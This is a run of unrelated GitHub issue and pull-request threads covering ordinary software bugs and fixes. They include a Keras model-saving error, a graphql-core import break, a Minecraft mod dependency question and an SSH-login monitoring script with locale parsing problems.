 gir1.2-ibus-1.0:amd64
 libibus-1.0-dev:amd64
 libsdl2-dev:amd64
 libsdl2-ttf-dev:amd64
 libsdl2-image-dev:amd64
 libsdl2-gfx-dev:amd64
 libboost-mpi-python1.65.1
 libboost-mpi-python1.65-dev
 libboost-mpi-python-dev
 libboost-all-dev
E: Sub-process /usr/bin/dpkg returned an error code (1)
The command '/bin/bash -c apt-get update && apt-get install -y   git   cmake   build-essential   libgl1-mesa-dev   libsdl2-dev   libsdl2-image-dev   libsdl2-ttf-dev   libsdl2-gfx-dev   libboost-all-dev   libdirectfb-dev   libst-dev   glee-dev   mesa-utils   xvfb   x11vnc   libsdl-sge-dev   python3-pip   libboost-all-dev   libboost-python-dev   tmux' returned a non-zero code: 100

This issue was caused due to trying to run SEED on a Debian machine. It seems that only Ubuntu or Windows is currently supported.


Upgrade library to use latest SPI pattern

Current recommended pattern is to use SPI.beginTransaction() and SPI.endTransaction() to prevent interrupt clashes, with SPI parameters confgured using SPISettings.  The library does not use these features.

Decision needed: move entirely to new pattern, or use conditional compilation (SPI_HAS_TRANSACTION) to maintain compatibility with older versions of the IDE?


missing description what command groups are for

/area documentation
Which area this documentation change is related to?
/area api
Issue details
What mistake did you find / what is missing in the documentation?
There is no documentation for what each group in commands.exec.group.kind means.
The only thing that is there is a Kind of group the command is part of which is not helpful at all.
Each group needs detailed documentation describing what it is for and what type of command it should be. By type here I mean if it should be long-running process (like in case of debug and run) or command that should exit in a reasonable time after it does its job (build, test, deploy`)

closing as rotten (created > 2 years). Feel free to reopen if is still a requirement.


Embed feedback into the job vacancy summary page

Trello card URL

https://trello.com/c/VuAva5If

Changes in this PR:
We used to have the feedback form on the summary page at the end of a job vacancy publication.
It was moved to a separate page, linked from the summary. This turned in a noticeable drop in the amount of feedback received.
We are reverting to embedding the feedback form into the summary page.
Reference on the original work extracting the form:

https://github.com/DFE-Digital/teaching-vacancies/pull/5369

Screenshots of UI changes:
Before

After

Next steps:

[ ] Terraform deployment required?

[ ] New development configuration to be shared?

 Change hiring staff feedback flow back to how it was before (people are sent to the form at the end of journey and don't need to click one more time)

@bencmitchell ready for a review :eyes:

Thanks @scruti , given this is a hiring staff feature I will have to hold off review until we've resolved those access issues and I can access this feature


can  component support textTransform?

If not, is this supported in another component?
My use case:
I have a piece of dynamic data that is lowercase and I went to set it to capitalize

Resolved in #78 (v1.2.10)


Upgrade to Graphene 3.1.0

I think this is breaking things.

datasette_graphql/__init__.py:4: in <module>
    from graphql.error import format_error
E   ImportError: cannot import name 'format_error' from 'graphql.error' (/opt/hostedtoolcache/Python/3.7.13/x64/lib/python3.7/site-packages/graphql/error/__init__.py)

Looks like format_error was deprecated here: https://github.com/graphql-python/graphql-core/commit/09ff14f68bdce1e9cd71decc871fd38274b01971

Found a clue here: https://github.com/graphql-python/graphql-core/blob/7c0d73a24359ac10b5fc46691ba22579f4080ce4/src/graphql/error/graphql_error.py#L259
def format_error(error: GraphQLError) -> GraphQLFormattedError:
    """
    ...
    .. deprecated:: 3.2
       Please use ``error.formatted`` instead. Will be removed in v3.3.
    """
    if not isinstance(error, GraphQLError):
        raise TypeError("Expected a GraphQLError.")
    return error.formatted

It was graphql-core that caused the bug, and upgrading to Graphene 3.1.0 doen't force an upgrade of that package, so I'm pinning to at least that version as well.


add back support for remote workspaces

Fix support for remote workspaces
Description
Adds back the support for remote workspaces; fixes #1705 and a regression caused by #1630
Screencast

Checklist

[x] I read the extension guidelines
[x] I read the documentation about publishing
[x] I ran npm run build and tested this distribution build in Raycast
[x] I checked that files in the assets folder are used by the extension itself
[x] I checked that assets used by the README are placed outside of the metadata folder

@pernielsentikaer it’s working after that update; thanks!


Return empty title for slack notifications

Issue #, if available: #529
Description of changes:
I managed to reproduce the issue and was able to remove the title by passing a blank space for cases of slack notifications.
CheckList:
[ ] Commits are signed per the DCO using --signoff
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.
For more information on following Developer Certificate of Origin and signing off your commits, please check here.

@uroskarama Can you post examples of how it would look before to how it looks now with this change? I would like to confirm if this can be considered as a bug fix or would this be a BWC in a minor version release as this was introduced in a major version.

Closing in favor of #750


version 0.6.2

Pull Request Test Coverage Report for Build<PHONE_NUMBER>

1 of 1 (100.0%)  changed or added relevant line in 1 file are covered.
No unchanged relevant lines lost coverage.
Overall coverage remained the same at 91.859%

Totals

Change from base Build<PHONE_NUMBER>:
0.0%

Covered Lines:
1433

Relevant Lines:
1560

💛  - Coveralls


Publish package to npm

I'd like to be able to use the upgradejs version of es6-plato easily with npx or following these pseudo-steps:
npm install -g upgradejs-plato
upgradejs-plato

@etagwerker thank you, the project is live - https://www.npmjs.com/package/upjs-plato


Bug in keras.src.saving.saving_lib._save_model_to_dir

tf.keras.__version__ -> "3.4.1"
If model is already saved then method call by keras.src.models.model.Model.save call keras.src.saving.saving_lib._save_model_to_dir, if model is already saved then asset_store = DiskIOStore(assert_dirpath, mode="w") (Line - 178) raise FileExistsError which error handling and finally clause line - asset_store.close() (Line - 189) causes - UnboundLocalError: local variable 'asset_store' referenced before assignment as asset_store is not define.
FileExistsError                           Traceback (most recent call last)
[/usr/local/lib/python3.10/dist-packages/keras/src/saving/saving_lib.py](https://localhost:8080/#) in _save_model_to_dir(model, dirpath, weights_format)
    139             )
--> 140         asset_store = DiskIOStore(assert_dirpath, mode="w")
    141         _save_state(

FileExistsError: [Errno 17] File exists: '/content/.../model_weights/assets'

During handling of the above exception, another exception occurred:

UnboundLocalError                         Traceback (most recent call last)
[/usr/local/lib/python3.10/dist-packages/keras/src/saving/saving_lib.py](https://localhost:8080/#) in _save_model_to_dir(model, dirpath, weights_format)
    148     finally:
    149         weights_store.close()
--> 150         asset_store.close()
    151
    152

UnboundLocalError: local variable 'asset_store' referenced before assignment

Solution to move asset_store.close() from finally clause to try clause or check if  asset_store is define then only call asset_store.close() (Update from line 158 to line 189 i.e., https://github.com/keras-team/keras/blob/master/keras/src/saving/saving_lib.py#L158-L189)
def _save_model_to_dir(model, dirpath, weights_format):
    if not file_utils.exists(dirpath):
        file_utils.makedirs(dirpath)
    config_json, metadata_json = _serialize_model_as_json(model)
    with open(file_utils.join(dirpath, _METADATA_FILENAME), "w") as f:
        f.write(metadata_json)
    with open(file_utils.join(dirpath, _CONFIG_FILENAME), "w") as f:
        f.write(config_json)
    weights_filepath = file_utils.join(dirpath, _VARS_FNAME_H5)
    assert_dirpath = file_utils.join(dirpath, _ASSETS_DIRNAME)
    try:
        if weights_format == "h5":
            weights_store = H5IOStore(weights_filepath, mode="w")
        elif weights_format == "npz":
            weights_store = NpzIOStore(weights_filepath, mode="w")
        else:
            raise ValueError(
                "Unknown `weights_format` argument. "
                "Expected 'h5' or 'npz'. "
                f"Received: weights_format={weights_format}"
            )
        asset_store = DiskIOStore(assert_dirpath, mode="w")
        _save_state(
            model,
            weights_store=weights_store,
            assets_store=asset_store,
            inner_path="",
            visited_saveables=set(),
        )
    finally:
        weights_store.close()
        if ('asset_store' in locals()): asset_store.close()                 # check if `asset_store` define then only close

import tensorflow as tf

class SimpleModel(tf.keras.Model):
    def __init__(self):
        super(SimpleModel, self).__init__()
        # Define layers here
        self.dense1 = tf.keras.layers.Dense(10, activation='relu')
        self.dense2 = tf.keras.layers.Dense(1)  # Output layer with no activation (regression)

    def call(self, inputs):
        # Define forward pass
        x = self.dense1(inputs)
        return self.dense2(x)

# Instantiate the model
model = SimpleModel()

model.compile(
    optimizer='adam',
    loss='mean_squared_error',
    metrics=['accuracy']  # For classification tasks, change to appropriate metrics
)

model.save('sample_model',overwrite=True,zipped=False) # this will work

model.save('sample_model',overwrite=True,zipped=False) # this will cause ERROR - as model is already saved.

This issue has been fixed in the mainline (#19924, the commit just after the release of v3.4.1).

there is a mispelling here:

assert_dirpath = file_utils.join(dirpath, _ASSETS_DIRNAME)

but i shouldn't make a PR for that really, if anyone sees it, they can do it. (assert_dirpath should be asset_dirpath)

@MegaCreater , This is working fine with the latest Keras 3.5.0 version, attaching the Gist here
 for reference, please verify and close the issue. Thanks

@sachinprasadhs thanks. It works fine after update.


Docs: update text and example

This PR updates the consumer properties section of the Apache Kafka ingestion topic. Specifically, it updates the dynamic config provider example and clarifies how the isolation.level property affects the way Druid reads transactional messages.
This PR has:

[ x ] been self-reviewed.

I reviewed this from a Kafka user perspective and it looks good to me.


Does this need to be a proper project?

The current state of this repository seems halfway to where it would be ideally.  For example, I can create issues but I cannot assign them to myself.

Yes, it does need to be a proper project.  I think I missed a step in creating it, need to fogure out what's wrong.


error: Installed (but unpackaged) file(s) found: /usr/share/locale/en/cups_en.po

CentOS 7.4 x86_64
following command fails with below error
rpmbuild -ta cups-2.3b3-source.tar.gz
Checking for unpackaged file(s): /usr/lib/rpm/check-files /root/rpmbuild/BUILDROOT/cups-2.3b3-0.x86_64
error: Installed (but unpackaged) file(s) found:
/usr/share/locale/en/cups_en.po
Installed (but unpackaged) file(s) found:
/usr/share/locale/en/cups_en.po

[master b056061b2] Add cups_en.po file (Issue #5276)


Burndown Chart - Cumulative Flow

It would be great feature  to have a Burndown Chart built based on the Complexity field.
At the moment the cummulative flow provides a great chart that is built on the quantity of tasks rather thant on the complexity which is a more accurate meassure for the task (i.e.: story points in software, revenues in sales, and any other that you can define).
Thanks! and again great work!!

There is a burdown chart now in the dev version. For the moment, it's pretty basic but that can do the job.
Here an example with sample data:

Thanks Frédéric. It looks great!
How does it work? The points shown in the graph are the complexity values for all Open tasks (sum for all columns at a given date)? is this correct?
It would be great if you could add the estimated finish date for the chart, whether as a label next to the chart or as a projection in the chart itself (date when it becomes 0). Do you think that info could be added?
Once again, thanks!

Yes, correct.
Each time a task is updated, created or moved, the sum of story points for open tasks are recorded in the database for the given day and for each column. With that graph, you have the sum of points for all columns for each day.
For the moment, I want to keep this chart like that. I will see in the future if that need more information.


[WIP] Dockerfile for images running on RHEL 7

Which issue(s) this PR addresses:

The diff is that

downgrade from iptables 1.8 to 1.6 (temp workaround, waiting for @mangelajo for final solution)
remove metacopy=on option that is not supported on old kernels
Closes #

tested and verified here

/assign @mangelajo

will reopen from my own repo branch


Bug Fix: Date Time Key

This PR contains the code for validating the date time key value from the fields of the dataset and inserting the value into the collection_details table if the date time key is valid, otherwise failing the onboarding process.

Build finished.

Build finished.

Build finished.

Build finished.

Build finished.


I need OTG Core 1.12.2 (v9.3)? I have v9.3 but it says I have v9.0?

OTG Plugin or Mod

[ x] OTG Mod for Forge
[ ] OTG Plugin for Spigot

OTG Version

[ ] 1.12.2_v8_r1
[ ] 1.12.2_v7_DEV_r26
[ ] 1.12.2-v6
[ ] 1.12.2-v5
[ ] 1.11.2-v8
[ ] 1.11.2-v9
[ ] 1.10.2-v21
[x ] Other - 1.12.2 - v9.3

Forge or Spigot Versions
I'm using Forge <IP_ADDRESS>54
What other plugins are you running?
(All mods are at the latest versions)
[OTG] Cave Update
AutoRegLib
BetterFps
Biome Bundle
Biomes O' Plenty
Cave Addon
Cavern II
Caves and Cliffs Mod, 1.17 concept
Davincis Vessels
Decocraft
Dynamic Lights
Dynamic Surroundings
Fossils and Archeology Revival
GraveStone Mod
Hwyla
IBE Editor
iChunUtil
JourneyMap
JurassiCraft
Just Enough Items (JEI)
LLibrary
Mantle
Mo' Bends
Morph
MovingWorld
Neat
Oh The Biomes You'll Go
Open Terrain Generator (OpenTerrainGenerator / OTG)
OreLib
OTG: Dungeons
OTG: Flatlands
OTG: Skylands
OTG: The Void
Pam's HarvestCraft
Prehistoric Spawns- A Fossils and Archeology Revival add-on [1.12.2 RELEASED!]
PTRLib
Quark
Reforged
Roguelike Dungeons
Security Craft
So Many Enchantments
Subterranean Waters
Tinkers Construct
Twitch Craft
Waystones
Waystones2Waypoints
Worley's Caves
Xaero's Minimap
YUNG's Better Caves (Forge)
YUNG's Better Mineshafts (Forge)
Description
Its not really steps. I just boot up minecraft and it says I need dependencies of OTG Core v9.3 it says I have v9.0 but I have v9.3.

My game to say what it said.
You just boot up the game

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

Still wont work for me

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

Still wont work for me

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

Still wont work for me

nevermind found it

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

Still wont work for me

nevermind found it

You need to delete the otg-core.jar file from your /mods/1.12.2/ directory. Then OTG will unpack the v9.3 core automatically

Tnx ♥


IP and time not showing correctly

Hi,
First of all, great job on the script!
However, I've encountered an issue where the notifications (to Telegram, terminal log, and the ssh_activity_logins.txt) are displaying the time where the IP address should be, and showing "00:00" where the time should be.
Here's an example of what I'm seeing:
./system-monitoring.sh: line 241: 18:18: syntax error in expression (error token is ":18")
New SSH login: User [ root ] from IP 18:18 at 00:00.
./system-monitoring.sh: line 241: 01:00: syntax error in expression (error token is ":00")
New SSH login: User [ www-data ] from IP 01:00 at 00:00.
./system-monitoring.sh: line 241: 18:27: syntax error in expression (error token is ":27")
New SSH login: User [ root ] from IP 18:27 at 00:00.
./system-monitoring.sh: line 241: 19:02: syntax error in expression (error token is ":02")
New SSH login: User [ root ] from IP 19:02 at 00:00.
Additionally, is it possible to log incoming SFTP/rsync connections as well?
EDIT: Forgot to mention I'm using Debian 12.
Thank you!

Hi, thanks for the feedback! I tested on Debian 12 and was not able to reproduce the issue.
Let's investigate your case further. Could you please provide the output for the following commands on your server:

Raw who Output:
who
Parsing Output:
who | awk '{print $1, $5, $3, $4}'
Improved Parsing:
who | awk '{ ip = ($5 ~ /^\(/ ? $5 : "no-ip"); print $1, ip, $3, $4 }' | sed 's/[()]//g'
Locale Settings:
locale
Shell Version:
bash --version
Execution Context:
echo $SHELL

Please also mention if there are any specific configurations or customizations on your system that might influence the script's behavior. This information will help understand the environment differences and pinpoint the issue more effectively.

Hi, thanks for your feedback!
I was able to reproduce the issue on the French locale. In version 3.70 of the script, this issue is resolved by forcing en_US.UTF-8 for the who command. Enjoy, and thanks for your contribution!
P.S. SFTP support is coming soon. As for monitoring rsync connections, it’s not entirely clear what specific aspects you want to track. Please feel free to open a Discussion to elaborate on this topic.

I see that awk is still extracting the wrong argument from who on your system. Could you please provide the output of who and locale on that system so I can investigate this issue further?
P.s. v3.71 now supports SFTP.

I made a new fix for locales. Please check v3.74 on your system.

Hi,
Thanks for the response, I've tested v3.74 and the correct local is printing the output correctly now. And the sftp logs also work great, thnx!
Additionally if two ssh logins are within the same minute, it doesn't log them both, only the first one.
To fix this you could edit the local current_logins under check_ssh_activity to include the pid in the ssh_activity_logins.txt like this.
check_ssh_activity() {
# Fetch the current SSH sessions
local current_logins=$(LC_ALL=C who -u | awk '{print $1, $8, $3, $4, $5, $7}') # Extract username, IP, date, time, and pid
local last_logins=$(cat "$SSH_ACTIVITY_LOGINS" 2>/dev/null)
Further more, I notice only the / disk is being monitored. maybe an option so you can choose which mount points or filesystem under df -h are being monitored?

Hi, thank you for the feedback!
Check version 4.00.
It now includes --DISK-TARGET <mount_point>, handle SSH with PID and stores telegram credits in a separate file.